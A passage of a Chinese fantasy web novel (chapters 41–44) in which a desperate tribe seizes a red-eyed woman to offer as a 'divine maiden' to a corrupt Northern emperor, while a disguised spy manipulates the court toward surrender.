像无头苍蝇一般,老人们大多瘫坐在地上,眼神空洞,口中念念有词,似乎在向神灵祈求宽恕。
他们脸上写满了岁月的沧桑与此刻的绝望,身体随着念叨声微微颤抖。
孩子们则紧紧抱住大人的腿,吓得哇哇大哭。
哭声在这阴森的氛围中显得格外刺耳,了。
整个队伍乱成一团,恐惧如同一张无形的大网,将众人紧紧地笼罩其中,让人喘不过气来,丝毫没有平息的迹象。
不知道等待他们的将会是怎样的厄运,对未来只有的迷茫与恐惧。
就在众人被这压抑的气氛折磨得几近崩溃时,队伍最前方的斥候突然停住脚步。
身体像被定住一般,手指颤抖地指向不远处。
嘴唇哆嗦着,却半晌说不出话来。
众人顺着他所指的方向望去,只见在一片氤氲的雾气之中,有一个人静静地伫立着。
“快看,那边好像有情况!”
众人纷纷循声望去,只见不远处有一个人静静地站在那里,四周萦绕着一层若有若无的雾气。
最关键的是,她那双眼睛和身后的血月几乎是如出一辙!
独特的眼睛在月色下散发着诡异而摄人的光芒。
她是谁?!
上天派来的索命的使者吗?
这奇异的景象瞬间吸引了众人的目光,小孩子被大人抱得更紧,老人也过来形成包围圈。
他们恐惧却也奇怪,不由自主地缓缓围拢过去查看。
为首的人虽心中害怕,但还是强装镇定,朝着宛楪抱拳,小心翼翼地说道。
“姑娘,深夜在此,不知有何贵干?”
“我等乃安江之人,受北国皇帝所托,正在寻找神女,以拯救部落于水火之中。”
“观姑娘气质不凡,不知……”
“是否知晓神女的下落?”
他一边说着,一边偷偷观察宛楪的表情,试图从她的反应中找到一丝线索。
血月高悬在此人身后,一面巨大的镜子反照这人的表情。
干净,平淡。
以及对生死绝续的冷漠,全身都泛着诡异,血色瞳孔看着远方山峦。
如果不去打扰,这就是一副诡异却优美的画。
部落的人盯着她,但是那个人好像没听到,依然保持原来的样子。
静静地站着,没有回应。
眼神平静如水,透着一种让人捉摸不透的深邃。
“你好……”部落有人出声,这一次,那个人却动了!
惊恐萦绕在每一个人的心头,谁也不知道她下一秒会不会就杀了他们!
成为这恐怖环境中,血月影下的斑驳血迹和散落一地的碎骨……
泛着光的雾气有生命一般,围绕着那人缓缓盘旋。
宛楪转过身,血色的眼睛看着他们。
她身材修长,一头如瀑的乌发肆意披散在她的双肩,宛如夜空中的一抹幽灵。
白皙的肌肤在月色下泛着柔和的光泽,却又透着一种病态的苍白。
那双血红色的眼眸犹如两汪深不见底的血海,散发着令人胆寒的光芒,
41. 孤注一掷
血红色的眼眸犹如两汪深不见底的血海,散发着令人胆寒的光芒。
能看穿众人内心深处的恐惧与挣扎。
脸庞精致得如同被鬼斧神工雕琢而成。
但周身散发着一种神秘而强大的气场,让周围的空气都为之扭曲,众人只觉得双腿发软,每靠近一步,都要耗尽全身的力气。
“这女子不简单呐,说不定就是咱们要找的神女!”
一个眼尖的小个子,声音颤抖地说道,眼中闪烁着兴奋与恐惧交织的光芒。
为首的人皱了皱眉头,再次打量着宛楪。
血月高悬,如同一颗巨大且滴血的眸子,那诡异的月光洒落在宛楪身上,却瞬间被她周身那股神秘而凛冽的气息吞噬。
只勉强在她周围勾勒出一圈若有若无的淡淡光晕,恰似一圈虚幻的鬼火,更添几分神秘与阴森。
此时,地面上斑驳的血迹在血月映照下,像是有生命一般。
随着宛楪衣袂的声响微微颤动。
仿佛在呼应着某种未知的邪恶力量。
部落首长望着宛楪,面色变得如纸般惨白。
嘴唇不受控制地微微颤抖。
他眸中满是惊恐与犹疑,额头上豆大的汗珠滚滚而下,在脸颊上划出一道道痕迹,。
“这究竟是什么邪祟?”
“如此恐怖的气息?”
“难道真的是神灵降怒?”
首长心中狂潮翻涌。
血月如同一滩凝固的鲜血,沉甸甸地压在夜幕之上。
周围的空气似乎都被冻结,透着一股彻骨的寒意。
这时,部落首领眉头紧皱,看着宛楪,心中天人交战许久。
终于咬咬牙,打破了沉默。
“大伙听我说,这女子如此诡异,说不定真是神女。”
“咱们部落危在旦夕,要不……”
“把她绑了,充作神女献给皇帝?”
此言一出,众人瞬间炸开了锅。
阿勇满脸惊恐,声音颤抖:“首领,这可使不得啊!”
他脑海中瞬间闪过宛楪那血红色的诡异眼眸。
仿佛只要对视一眼,灵魂就会被吞噬。
“她身上那股子邪乎劲儿,谁知道把她绑了会惹出什么大祸?”
“说不定还没等见到皇帝,咱们就全被她咒死了!”
阿勇越说越激动,他仿佛已经看到了众人被某种未知力量折磨致死的惨状,身体止不住地颤抖。
一位老者也忧心忡忡地摇头。
“是啊,首领。这女子透着说不出的古怪。”
“万一她不是神女,而是更可怕的邪祟,咱们这不是自寻死路吗?”
“部落已经够艰难了,可经不起这样的折腾。”
老者心中满是忧虑,部落历经无数风雨,好不容易撑到现在。
他实在不想因为这个冒险的决定,让部落陷入万劫不复之地。
部落中那些天真无邪的孩子,白发苍苍的老人,他们都还指望着能在这场灾难中活下去。
他不能眼睁睁看着部落因为这个决定而毁灭。
然而,也有人犹豫。
“可……可咱们实在找不到其他神女了。”
“皇帝限期在即,交不出人,部落老小都得遭殃。与其等死,赌这一把说不定还有活路。”
说话的是个年轻的族人,他眼中满是纠结。
他深知这个人的诡异和可怕。
每靠近她一步,都感觉像是在靠近死亡。
但一想到部落中亲人绝望的面容,想到他们即将面临的悲惨命运。
但除了赌这一把,别无他法。
首领也在心中不断权衡,一边是近在眼前的恐怖威胁,一边是部落全族的生死存亡。
众人陷入了两难的挣扎。
每个人都在心中反复掂量着利弊,恐惧与希望在内心激烈交锋。
有人在心中默默祈祷,希望能有其他转机出现,不用面对如此可怕的选择。
“老天爷啊,开开眼吧,给咱们指条明路,别让部落毁在咱们手里啊!”
一位中年男子望着血月,心中悲戚地呼喊着。
他想起了家中温柔的妻子,想起了还在襁褓中的孩子。
他们的笑脸在他眼前不断浮现。
他怎么能忍心让他们陷入绝境?
“不行,太可怕了,我不想死在这里!”
“咱们赶紧走吧,离开这个恶魔!”
一个年轻的族人小声嘀咕着,双脚已经不自觉地往后退。
但他又想到部落的责任,想到自己的亲人和朋友。
脚步便像被钉住了一般,无法挪动。
所有人心中充满了矛盾。
首领的提议,何尝不是他们现在唯一的选择?
“赌一把说不定还有希望,可万一输了……整个部落就完了!”
“我该怎么办,到底该怎么办?”
一位妇女低声哭泣着,双手紧紧揪着自己的衣角,内心的挣扎让她几乎崩溃。
风越发猛烈,吹得众人衣袂猎猎作响,也吹得众人的心愈发凌乱。
看见族人这样的惨状。
首领深吸一口气,环视众人,目光中透着决绝。
“各位,咱们部落走到今天这一步,已没有太多选择。”
“三天内交不出神女,族中的土地就要被强征,到时候连住的地方都没有。
“我们根本活不了,不如拼一把!”
“这女子虽危险,但或许就是神明指引我们发现她的!”
“这是咱们唯一的生机。我知道这很冒险,可若不试试,咱们都得死。我是首领,这决定我来做。”
“若真有灾祸,我一人承担!”
众人听了首领的话,沉默良久。
虽心中仍充满恐惧,但想到部落的未来,想到那些无辜的生命。
他们纷纷握紧了拳头,缓缓点头。
每个人都清楚,这个决定或许会带来灭顶之灾,但为了部落,他们愿意赌上一切。
哪怕是自己的生命。
这血月之下,众人怀着忐忑与恐惧,走向宛楪。
准备将她捆绑起来。
气氛压抑得让人窒息,每个人都清楚,他们正踏入一场吉凶未卜的赌局。
族中有人小声地问。
“她不是神女,我们该怎么办?”
首领听到这话,沉默着,族人也都不说话,气氛静的透着一股“团结”的诡异。
惊弓之鸟的前奏,每个人都绷着身体最后一根弦,但只要一点抨击,就会迅速断裂。
“别说话,她就是,小孩子你不懂。”身边的大人捂住小孩的嘴,脸上是沉痛和没有光的麻木。
皇帝的命令如山,交不出神女,整个部落都得陪葬……
她不是,也得是!
若不抓住这一丝希望,部落必将灭亡!
首领看着眼前的一切,带着一丝决绝。
部落毁灭,我又有何颜面去见列祖列宗?
但若是赌错了……
“这后果……我真的承担得起吗?”
首长的心脏在胸腔中剧烈跳动,仿佛要冲破胸膛。
“罢了!”
首长咬了咬牙,干裂的嘴唇渗出一丝血迹。
为了部落,哪怕前方是万劫不复的地狱…
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…
我也只能跳进去!
他回头低声说道,“北国皇帝下了死命令,咱们部落若不献上神女,就会被他以冒犯神灵之名灭族。”
“这也许是咱们部落唯一的生机了。”
“但是,万一她不愿意跟咱们走呢?”
“瞧她这副模样,感觉就像从地府来索命的无常,太可怕了!”
另一个人担忧地说道,身体忍不住微微颤抖。
“管她愿不愿意,先带回去再说!”
为首的人一挥手,咬着牙,当机立断地说道。
“咱们没时间再犹豫了,要是错过这个机会,回去面对皇帝的怒火!”
“大家都得死!”
“部落也会不复存在!”
众人听了,虽心中充满恐惧,但为了部落,还是硬着头皮一拥而上。
当他们靠近宛楪时,一股刺骨的寒意扑面而来,置身冰窖。
每个人的呼吸都变得急促而沉重,心脏在胸腔里疯狂跳动。
那寒意像是无数细小的冰针,透过衣衫的缝隙,刺入他们的肌肤,深入骨髓。
可让众人意想不到的是,当他们靠近并试图抓住宛楪时,她竟没有丝毫反抗!
就这么静静地跟着他们走了。
这一举动让众人心中的恐惧更添几分。
他们面面相觑,心中暗暗揣测着,这个女子身上究竟藏着怎样的秘密。
她为何会如此顺从?
是真的愿意拯救他们的部落?
还是背后隐藏着更为可怕的阴谋?
这种未知让众人心中充满了不安,有一只无形的手,紧紧揪住他们的心脏。
但此时,他们也只能硬着头皮带着宛楪前行,希望能从她身上找到拯救部落的办法。
只希望她不会伤害他们,前路是死,回去也是死,万一呢……
万一他们真能活过这个劫难呢?
血月依旧高悬,宛如一只巨大且滴血的眼眸,阴森地俯瞰着大地。
狂风在死寂的荒野上怒号。
卷着地上斑驳的血迹扬起阵阵血雾。
众人虽满心恐惧,双腿发软,但在部落存亡的重压下,不得不硬着头皮带着宛楪走。
他们的脚步拖沓而沉重,每一步都仿佛踩在自己狂跳的心脏上。
宛楪静静地跟在队伍中间,她周身那股神秘的气息。
风似乎刻意避开她。
她的衣袂却依旧猎猎作响,那声音在这死寂的氛围中回荡。
队伍中的人们面色如土,眼神中满是惊恐与无奈。
他们不时偷偷瞥向宛楪,那眼神仿佛在看一个随时会爆发的恐怖灾难。
每个人心里都像是悬着一把锋利的利剑,只要稍有风吹草动,就会将他们的心绞碎!
压着一块沉重的石头,喘不过气来。
首领走在队伍最前方,他的背影看似坚定,实则微微颤抖。
他不断在心中给自己打气。
“这是部落唯一的希望了,一定要撑住。”
可恐惧如同跗骨之蛆,紧紧缠绕这支黑暗里慢慢前行的队伍。
他们手心满是冷汗,几乎握不住手中的缰绳。
这一行人在血月的笼罩下,缓缓前行,那画面仿佛是一幅来自地狱的诡异的画。
而宛楪,犹如这诡异场景的中心,她的存在让整个画面更加惊悚。
每一个细节都透着令人毛骨悚然的气息。
而他们,一步步踏入未知而恐怖的深渊……
山风在山谷间回荡,发出如鬼哭狼嚎般的声音。
仿佛是无数冤魂在为他们即将面临的未知命运而悲号。
42. 劝降
宫殿之上,金龙盘绕的梁柱下,大臣们的身影如群蚁攒动,嘈杂的争论声似风暴般席卷而来。
站在一侧的史官手悬毛笔,眉头紧蹙,面对这混乱之景,笔尖久久未落于竹简之上。
足见朝堂纷争之激烈。
慕酌隐于人群之中,身着粗布商服。
虽看似融入周围商人之列,可那不经意间挺直的脊背,却藏着不为人知的高傲。
他低垂着头,发丝半掩眼眸,没人能看清他眼底的波澜。
自与校尉分离,每至夜幕深沉,他便坠入一个奇幻而又揪心的梦境深渊。
黑暗中,隐隐有诡异的荧光闪烁,耳畔是轻柔的呼唤声。
那声音像是从遥远的迷雾深处飘来,却又清晰得仿佛在耳边低语。
可这原本应是温柔的声音,此刻却如锐利的钢针。
四周雾气蒸腾,色彩斑斓却又透着说不出的诡异。
雾气中光影闪烁,像是无数双眼睛在窥视,忽隐忽现。
脚下的土地绵软得如同棉花糖,可当他迈出一步,却感觉有什么东西在拉扯他的脚踝。
无数细长的藤蔓,从土里钻出,蜿蜒着缠上他的双腿。
转头望去,只见一群形似蝴蝶却有一人多高的生物。
扇动着五彩斑斓却又透着腐臭气息的翅膀朝他扑来!
定睛看去,只见浑身散发着奇异的光芒的人。
面容扭曲,眼神空洞……
他们机械地移动着,嘴里发出含混不清的低吟,仿佛在诉说着无尽的痛苦。
他连忙抽出佩剑,剑身闪烁着清冷光芒,在这混沌梦境中划出一道道寒光。
不远处巨大的蛊瓮,传出令人毛骨悚然的声响。
他挥舞着剑,剑花闪烁。
就在这时,他脚下的土地再次震动,一条巨大的蟒蛇从地底窜出。
张开血盆大口,朝他咬来,口中散发着令人作呕的腥气。
耳边呼唤声愈发急切,慕酌心中一凛,拼尽全力朝着蟒蛇的七寸刺去。
剑身没入蛇身。
蟒蛇吃痛,扭动着身躯,周围的一切也随之剧烈摇晃。
丝丝缕缕的诡异烟雾溢出,带着一股刺鼻的腥味,令人作呕。
而校尉,就站在这混乱而奇幻的场景中央,周身被一层淡淡的光晕笼罩。
眼神中透着哀伤与无奈。
伸出手,似乎想要抓住他。
嘴里不断呼唤着他的名字,声音在这诡异的空间里回荡。
愈发显得凄凉。
他试图靠近校尉,却感觉双腿像是被重物拖拽。
每迈出一步都艰难无比。
尖锐的声音划破夜空,将他从这可怕的梦境中惊醒。
他猛地睁开双眼,恍惚间,眼前的朝堂犹如一幅荒诞而又惊悚的浮世绘。
各种乱象纷至沓来,交织出一片压抑且混乱的氛围。
朝堂之上,硕大的殿顶在昏暗中显得格外压抑,烛火在穿堂而过的冷风中摇曳不定。
昏黄的光影在墙壁与地面上投下斑驳陆离的阴影。
犹如无数隐匿在黑暗中的鬼魅。
群臣如热锅上的蚂蚁。
一位身形肥胖的臣子,圆睁着双眼,神色慌张得近乎失态。
昏暗中闪烁着惶恐。
他双手在空中疯狂挥舞,声音因恐惧而变调:
“陛下,敌军势如破竹,来势汹汹啊!”
“咱们的兵力与之相比,简直是以卵击石,根本无力抵抗啊!”
“依微臣之见,不如早早求和,割地赔款,兴许还能保住性命!”
“不然等到城破之日,咱们都得死无葬身之地啊!”
说罢,他“扑通”一声跪地。
不断磕头,额头与地面撞击发出的闷响。
这时,一位身着道袍模样的臣子,神情狂热,眼中闪烁着病态的光芒。
他大踏步抢步上前,袍袖随风舞动。
作仙风道骨姿态。
“陛下,万万不可求和!此乃上天对我朝的考验!”
“绝非人力可轻易化解。近日天象异常,星辰移位,定是有神灵在暗中指引。”
“只要咱们举行盛大的祭天仪式,供奉丰厚祭品,以表我朝对神灵的虔诚之心”
“求得神灵庇佑,必能退敌于千里之外!”
他说得慷慨激昂,唾沫横飞。
仿佛自己已然看到了神灵显圣,敌军溃败的场景。
“可是……”
也有别的臣子,双眉紧锁,满脸愁容。
“陛下,道长所言虽有道理,可如今国库空虚。”
“连年征战加上各种苛捐杂税,百姓早已苦不堪言,食不果腹,衣不蔽体。”
“若再大兴祭祀,筹集巨额祭品,无疑是雪上加霜,恐怕会激起民变啊!”
“这内忧外患的局面,实在让微臣寝食难安呐!”
他说着,眼中泛起泪光,连连摇头,满心无奈与悲戚。
那高高在上的皇帝,此刻正慵懒地斜倚在龙椅之上。
整个人散发出一种萎靡不振的气息。
因纵欲过度,他面色如蜡黄的薄纸,毫无血色,两颊深陷,颧骨突兀得好似嶙峋的怪石,眼神迷离且空洞。
透着一股对世事的倦怠与麻木。
长期沉迷仙丹,使他身形消瘦得如同风中残烛,摇摇欲坠。
他有气无力地听着群臣的争论,时不时不耐烦地皱眉,发出几声虚弱的叹息。
声音带着无尽的疲惫。
“都别吵了!朕头痛欲裂……”
“你们说的都对,先依道长所言,准备祭天仪式吧,至于其他的,容后再议。”
说罢,他缓缓闭上双眼,一副根本不想管这事的样子。
这朝堂之上的荒诞闹剧,与方才梦中的恐怖场景在慕酌的脑海中不断交织碰撞。
而此刻,朝堂上这些将慕酌从回忆中硬生生地拽回现实。
他回过神,眼神中瞬间恢复了冷静与平淡。
他全神贯注地倾听着大臣们的争论,目光在朝堂众人之间游移,不放过任何一个细微的表情和动作.。
如同一位精明的猎手,在寻找着最佳的出击时机。
过了一会,他的目光定格在一位黄衣的臣子身上,嘴上带着微笑。
随即,他继续将目光放在朝中大臣山上,心中已经有了计较。
跪着的姿势有些不舒服,但这些大臣根本不关注他,他把头低着听那些人谈。
或许他们觉得一个掀不起什么波澜。
又或者他听了也无所谓,知道多了把他杀了就可以。
但这个棋局,谁是猎物,谁是猎人,还不好说。
一位身着紫袍的大臣猛地站出,袍上的金线在烛火下闪烁,如他激动的心情。
他双手用力挥动,宽大的衣袖带起一阵风,桌上的文书被吹得沙沙作响。
“陛下!邻国屡屡犯我边境,若再不出兵,我朝威严何存?”他的声音如洪钟般在大殿回荡。
可惜没有人应和。
偌大的朝堂,只有这么一个清醒的人。
没用。
“说得好听,人刃将军不也败了!到时候出问题,连累到我们怎么办?”
“就是就是,连累到我们怎么办?”
“哦哦,连累到皇上怎么办!”
紫袍的大臣皱着眉头,听着这些话,
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字字锥心。
北国何时变成了这样……
他终是沉默不发言,静静地退下,眼中却满是忧伤和哀痛。
群臣的争论声此起彼伏,像一锅煮沸的开水。
不知是谁突然喊了一句:
“哎,你们瞧,那商人还跪着呐!”
刹那间,原本喧闹的朝堂突然安静下来。
所有人的目光都投向了仍跪在地上的慕酌。
短暂的沉默后,爆发出一阵哄堂大笑。
“哈哈,差点把这茬给忘了!”
“这商人怕是腿都麻了吧。”
一位大臣戏谑地说道,脸上满是幸灾乐祸。
“起来吧,起来吧。”
“让咱们也听听你这商人能说出什么高见!”
另一位大臣嘴角挂着嘲讽的笑容,假意催促着。
慕酌缓缓起身,佯装腿软踉跄了下。
满脸惊恐,声音发颤。
“皇……皇上!”
慕酌声音抖着,颤颤巍巍,脑袋低着,恨不得钻进地缝似的。
他细节的揪着衣角,指节因用力而泛白。
“陛下……小的只是个走南闯北的商人,在商途中听闻邻国的……”
“有些势力并不愿和我朝结盟。”
“哦?竟有此事?”一位素来以刻薄著称的大臣挑了挑眉,阴阳怪气地说道。
“你一个商人,不在商道上好好谋利,却来朝堂谈论军国大事!”
“莫不是做买卖把脑子做糊涂了?”
“还是说,你背后有什么不可告人的目的?”
慕酌装作惊慌失措的样子,结结巴巴地说道。
“大……大人,小的句句属实啊。”
“小的走南闯北,结识了不少各地的商贩,消息自然灵通些。”
“听闻邻国为了争夺资源,几方势力闹得不可开交,其中一股势力甚至想要侵占我国。”
“够了!”
那位紫袍的大臣不耐烦地打断他。
“你这不过是道听途说,毫无根据的话,也敢拿到朝堂上来说。”
慕酌装作被吓到,浑身一颤,连忙低头。
“大人息怒,小的只是想着或许能为陛下分忧。”
“若有冒犯之处,还请大人恕罪。”
这些人七嘴八舌地讨论,似乎是很赞同慕酌的话。
“对啊对啊,这个仗打不赢,还有别的国家惦记,这……”
“这万万不能在打了!”
“投降吧,投降吧……”
“我也赞成啊,这仗没必要了!”
皇帝原本半眯着眼睛,在一旁听着众人的话,也点了点头。
“就这样吧,不用论了,到时候给南国交个投降书得了。”
“陛下三思啊!”紫袍大臣似乎还想再劝劝,但是被皇帝不难烦的挥手打断。
“急什么,有问题等祭祀结束,自然有神帮助咱们,不会出事的。”
皇帝迈着臃肿的步态,缓缓离开,大臣在说什么,也被他挥手截断,示意别再说了。
他一句话都不想听。
慕酌在心中嗤笑一声,表面却还是那副谨小慎微,生怕出什么差池的胆小模样。
皇帝走了,他还不忘抖抖肩膀,恨不得把自己缩成一团。
如果忽略他眼中淬起的冰冷和寒意。
就在这时,一位小太监匆匆跑上朝堂。
脚步慌乱,差点摔倒。
他跪在地上,气喘吁吁地说道。
“陛下……有地方献上了神女!”
“据说能预知未来,庇佑我朝!”
此言一出,原本喧闹的朝堂瞬间安静下来,落针可闻。
43. 神女
夜幕似墨,沉沉地压覆于北国皇城之巅。
华美的宫殿内灯火璀璨,却难以遮掩那悄然涌动的暗流。
皇帝为庆祝神女到来,举办了盛大的宴会。
宴会一连持续了几天,皇宫内弥漫着奢靡的气息。
奇珍异宝堆积如山,美酒佳酿如流水,酒香四溢。
沉浸在这纸醉金迷之中,早将朝堂之事抛诸脑后!
至于国家的发展和百姓的疾苦,这里的人几乎都不在意。
他们身上的绫罗绸缎,珠宝首饰闪烁着刺眼的光芒。
夜宴正至酣处,丝竹之音仿若潺潺流水,于空气中悠然穿梭。
舞姬们身着轻薄罗衫,蹁跹起舞。
恰似花间蝶影。
引得众人目光纷纷流转。
角落里,暗影如同浓稠墨汁肆意蔓延。
慕酌身着一袭黑色锦袍,精心扮作富商模样,隐匿其中。
冷眼旁观着眼前的一切。
那些人脸上堆满了虚伪的笑容,相互敬酒时,酒杯碰撞的声音清脆悦耳,可那笑声却让人感觉格外刺耳。
慕酌坐在那,换上的锦袍上金线绣就的暗纹在举手投足间隐隐出现。
他的手,下意识地轻轻摩挲着手上佛珠,每一个像是祈祷平安的样式的雕刻品,不停地转动。
上面还刻着神鬼传奇的符号。
北国皇帝醉心长生,不然也不可能用灵器神物的事情,就让他一个商人进入皇宫夜宴。
虽然这商人的身份也是假的。
他听闻了关于神女的奇事,暗自思忖。
环顾周围的那些人,眼中有了算计和计划。
但此刻,他看着却是一副漫不经心,神色慵懒的样子。
仿佛只是个偶然闯入皇宫,被这热闹场景吸引的看客。
他抬头看着台上高坐的皇帝,底下的臣子举杯交错,金晃晃的光在衣袖之际发出刺眼的光。
蜡烛长燃,灯火通明。
臣子的眼神算着利益,言语交谈也满是交锋和利益的参杂。
尤其,有几位格外活跃啊。
而那位应该说上话的
……
皇帝。
已有几分醉意,斜斜地倚在龙椅之上。
眼神迷离且透着狂热。
他单手慵懒地撑着头,口中不停喃喃自语。
“朕若能与鬼神对话,求得长生之法,又何愁江山不稳,万民不归心?”
眼中闪过一抹近乎病态的渴望。
恰在此时,吏部侍郎王大人,也就是不赞同继续战争一派的领导人。
他自席间走出,谄媚地躬身行礼,双手抱拳。
腰深深地弯下,声音里满是谄媚之意。
“陛下洪福齐天,地方献上神女,神通广大,既能降妖除魔,又通阴阳之道,甚至知晓前世今生!”
“臣不辞辛苦,今日就把人带过来,盼能为陛下分忧解难,保我朝千秋万代,昌盛不衰。”
话语落下,他眼神中闪过一丝极难察觉的得意。
仿佛已然预见自己会因这一功劳而平步青云。
皇帝一听,瞬间精神大振,猛地坐直身子。
眼中满是急切之色。
“快,速速宣她进来!”
不多时,两名身姿曼妙的宫婢引领着神女缓缓走来。
头戴银冠,珠翠微微摇曳。
一袭素白长裙拖地,面上蒙着一层薄若蝉翼的面纱。
缓缓进入这个举杯换盏的巨大场合,满是黄金迷醉和权利熏心。
但她脚步却虚浮拖沓,每一步都像是踩在云端。
又仿佛……
被无形的丝线紧紧牵扯着。
身不由己地向前挪,整个人走得显得僵硬至极。
她的发丝凌乱地散落在脸颊旁,随着她的步伐轻轻晃动。
慕酌看到这一幕,微微皱眉。
神鬼之说,不过是愚弄世人的把戏。
但是,慕酌隐约觉得不对,但是又说不上来……
他的目光在众人脸上一一扫过,试图捕捉更多有用的讯息。
此刻,夜宴中的众人表面上对神女投以好奇与敬畏的目光。
然而暗地里,有的臣子交头接耳,眼神闪烁不定。
有的则神色凝重,似是在担忧着什么。
每个人心中皆打着自己的小算盘。
一位平日里骄横跋扈的权贵,趁着酒意,竟想在众人面前彰显自己的胆量。
他摇摇晃晃地走向宛楪,伸出手想要去触碰她的脸。
嘴里还嘟囔着:“这神女,不过如此,能有什么本事。”
他眼神迷离,嘴唇微张,歪歪斜斜地朝着宛楪蹒跚而去。
刹那间,周围的空气仿佛被施了定身咒一般,瞬间凝固。
每一丝流动的气息都像是被瞬间冰封。
本来就因神女到来而安静片刻的大殿,此时显却有些寂静,甚至有些诡异的沉默……
众人不由自主地狠狠打了个寒颤。
一场灭顶之灾即将轰然降临。
周围的空气仿佛瞬间凝固。
在这诡异而压抑的氛围中,那权贵突然发出一声凄厉的惨叫。
声音在大殿内回荡,让人毛骨悚然。
原本明亮的大殿内突然刮起一阵阴森的冷风,烛火摇曳不定。
那权贵的身体开始不受控制地颤抖起来,
紧接着,他像是被一股无形的力量狠狠击中,身体向后倒飞出去。
重重地摔在地上。
抽搐了几下后,便再也没有了动静。
那“神女”缓缓抬起头,面纱从脸上揭过,露出底下藏着的血红色双眼。
面纱落在地上,轻飘飘的,却仿佛一把刺剑扎进在场的人。
那血红色的眼睛直直地盯着地上晕倒的权贵,带着无尽的冰冷和杀意。
周围的人也察觉到了异样,原本喧闹的宴会瞬间安静下来,所有人的目光都聚焦在这一幕。
慕酌身体微微前倾,眼神紧紧锁住眼前这个人,脸上满是震惊和惊惧。
像是完好的面具撕开了裂缝。
殿中“神女”,双眼呈现出一种令人胆寒的血红色。
没有一丝生气,空洞得好似深不见底的黑洞。
仿佛灵魂早已被抽离。
却让人隐隐觉得里面满是杀气。
那眼神直直地向前,却又好像什么都没看见,透着一股难以言喻的诡异。
让朝堂上的众人不禁打了个寒颤,原本喧闹的议论声也瞬间戛然而止。
慕酌的眼神中闪过一丝复杂。
有对校尉出现在此现状的惊愕,也有对这局势发展的暗自考量,
但很快,那一丝情绪便被他藏了起来。
月光洒进大厅,带着无尽的苍凉。
现在他眼前的这个人,是神女。
他看到那血红色眼睛的瞬间,心中确实一阵惊悸。
那诡异的眼神,让他想起了进入北国后,路上听见的一些不祥的传说……<
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他很快镇定下来,心中思索着这背后隐藏的秘密。
到底是谁,让他变成了这幅模样?
居然还换成女子装扮,他到底经历了什么?
慕酌平静的心此时像是漏出了一个洞,里面灌得满是冷风寒骨。
他强迫自己冷静下来,去思考计划的实行还有局面的影响。
而此时,整个宴会厅里,只剩下众人急促的呼吸声和权贵慌乱的心跳声……
在这近乎令人窒息的死寂氛围里,众人的目光先是聚焦。
那口出狂言后不知被什么力量拍飞的,已经晕倒不省人事的大臣身上。
随后又带着几分惶恐,纷纷投向宛楪那血红色眼睛。
“这神女的眼睛为何是血红色,如此怪异,莫不是不祥之兆?”
但很快,便有人出来打圆场,神色紧张地说道:
“许是神女来自非凡之境,这血色双眸非我等凡人能够揣度的。”
这时,引荐神女的那位吏部侍郎王大人,慌张急促的跑到殿前,带着小心翼翼和害怕,躬身说道。
“陛下,从古至今,有关神女的传说便从未断绝!”
“这……”
“这是这么回事!”
他像是突然想到什么,连忙弯下腰行了个礼。
“皇上啊,这……”
“哦哦,对。这上古时期,曾有一位神女降临尘世,她拥有改天换地之力,拯救了天下苍生!”
“那时的记载虽已模糊,但想来神女之态非凡俗所能测度。”
“这血色双眸,说不定正是其神力的一种彰显。”
“倘若触怒神女,恐怕会遭受天谴啊。”
听到这话,皇帝的面色陡然变得极为难看。
他死死盯着那口出狂言的人,眼神之中,愤怒与忌惮交织。
沉默良久,皇帝缓缓启口,声音低沉却透着不容置疑的威严:“那还不赶紧杀了这个人,不要让神女生气!”
那位大臣家眷“扑通”一声,重重地跪在地上。
整个人止不住地颤抖,冷汗如豆粒般不断滚落。
“陛下恕罪啊,大人,他……他只是实在是一时口不择言。!”
众人听闻此言,脸上浮现出惧色。
就因为害怕触怒神鬼,想杀就杀了……
要是落到他们头上……
众臣子害怕,不由自主地交头接耳起来,低声的议论声在殿内蔓延开来。
不过也有一些,脸上带着不屑或者是……
冷漠。
一位大臣也赶忙上前附和。
“陛下,这神女虽说看着有些与众不同,但说不定真的有通天彻地的非凡本领。”
“如今我朝内忧外患,或许这神女正是上天特意派来拯救我朝于水火之中的啊。”
“且古籍中……确有记载!”
“某些拥有无上神力的神祇,其眼眸常伴有奇异之色,以显其超凡之处。”
皇帝眉头紧紧皱起,陷入了深深的沉思。
他的目光在殿内众人身上一一扫过,仿佛在权衡着利弊。
片刻之后,他缓缓抬起头,而后又缓缓说道。
“既然如此,朕便封这女子为月亮女神,举行一场盛大的祭祀仪式,祈求她庇佑我朝。”
“让我寻得长生,千秋永继!”
言罢,便即刻吩咐左右侍从,将那名为宛楪的女子带下去,好生安置,全力筹备祭祀事宜。
眼中满是对长生的渴望,甚至到了病态的程度。
44. 交锋
慕酌目睹这一切,心中犹如火烧一般焦急万分。
他伴做商人混进来,心里清楚得很,这所谓的神女不过是个欺世盗名的幌子罢了。
可如今朝堂之上众人皆深信不疑。
他一时之间竟也无计可施。
怎么救出他,他到底是怎么回事?
他努力强迫自己镇定下来,但他的双手下意识地紧紧握起,指甲深深地嵌入掌心,留下一道道苍白的痕迹。
似乎只有这样,才能勉强压制住内心如潮水般翻涌的不安。
神女怎么会是他!
北国到底还藏着什么阴谋?
慕酌深吸一口气,强迫自己冷静。
他心里明白,接下来的局势必将愈发错综复杂。
必须要尽快想出应对之策!
否则,整个局面将会彻底失去控制,陷入万劫不复之地。
夜宴似火,殿内烛火熠熠生辉,每一支蜡烛都仿佛倾尽全力释放着光芒。
将整个殿堂照得亮如白昼。
摇曳的烛光把众人的身影投射在墙壁上。
那些身影交错晃动,犹如一幅活动的奇异画卷。
喧嚣声、丝竹声相互交织,肆意地弥漫在空气中。
奢靡又热闹非凡。
慕酌身处这热闹的漩涡中心,表面上神色镇定,举止从容。
可内心却如翻涌不息的浪潮,一刻也未曾平静。
正暗自绞尽脑汁地思忖着破局之策。
殿内一片喧嚣,大臣们毫无顾忌,肆意的笑声冲破天际。
“哈哈哈哈,这次神女降临,可是天大的契机,咱们可得好好把握!”
“那是自然,说不定借着这机会,咱们都能加官进爵!”
“享受不尽的荣华富贵!”
他们的声音尖锐又刺耳。
全然不顾这是庄重的宫殿,举止粗俗得好似市井酒馆里的无赖。
“叮叮咚咚”“呜呜咽咽”“咚咚锵锵”。
乐师们手忙脚乱,应付权贵们一个又一个要求。
反而更加混乱,嘈杂的声音在这混乱的场景中愈发刺耳。
刺鼻的酒气与脂粉味弥漫在宫殿的每一个角落。
酒杯碰撞声、女子娇笑声此起彼伏。
“大人,再喝一杯嘛。”
“哈哈!”
“美人儿,干!”
浓烈的酒气和脂粉味,两种味道混合在一起。
奢靡又荒诞。
仿佛整个世界都颠倒了。
这些大臣们,心里哪有百姓的死活。
